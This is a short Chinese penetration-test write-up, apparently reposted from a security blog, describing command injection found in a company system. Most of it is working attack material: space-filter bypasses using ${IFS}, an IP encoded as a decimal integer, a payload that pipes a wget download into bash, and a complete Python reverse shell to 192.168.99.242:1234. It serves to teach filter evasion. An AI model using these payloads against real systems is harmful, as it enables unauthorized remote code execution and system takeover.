今天下午在公司测(mo)试(yu)的时候,通过搜索响应中的关键字,一处报错信息引起了我的注意:
开搞
首先whoami看下能不能回显:
显然不能。。
那我们用dnslog测试下:
好像过滤替换了不少特殊符号,经测试发现,除了.之外,如下关键字也都被替换为-字符了:
()&:/[space]
那只能换一种思路咯,我们先要证明下这个地方是否存在命令执行,过滤了.把ip转化为数字,这里用自己的服务器上的服务做下测试:
用wget命令测试,还要考虑空格的过滤,简单列一下常用的替换方式:
1、分隔符
${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
${IFS}$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
2、重定向符
构造payload,注意用||和;分别闭合前后部分:111||wget${IFS}3162736550;
看来确实存在啊,那直接弹吧。编码(base64或者hex)绕过反弹shell中的特殊字符:
超过长度检测限制了,换个思路,用wget直接读取payload并执行。这里花了很多时间(还是我太菜了)。
1、wget下载文件内容:wget -q -O - http://xxx.com
2、管道符bash连接
最终payload如:11||wget${IFS}-q${IFS}-O${IFS}-${IFS}xxxxxxxxx|bash;
发现日志中收到请求,但是监听端并没有反弹回来,应该是bash没有执行成功,换个别的语言的再试下(python)
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
这回有反应了,但是报错退出回话了
这是啥问题,可能菜是原罪吧,应该是路径/bin/bash不对,换成/bin/sh试试
反思:
1、通过响应中指纹关键词的搜索能很快定位是否存在相应的问题,如SQL语句的报错、代码执行的error信息等等;
2、命令之间的连接符怎么能不过滤呢?
3、真的菜
参考链接:
https://www.dazhuanlan.com/2019/12/09/5dee4883dad99/
http://linux.51yip.com/search/wget/
https://www.cnblogs.com/xiaojianblogs/p/8980558.html
作者:c0lorway
文章来源:https://cn-sec.com/archives/712809.html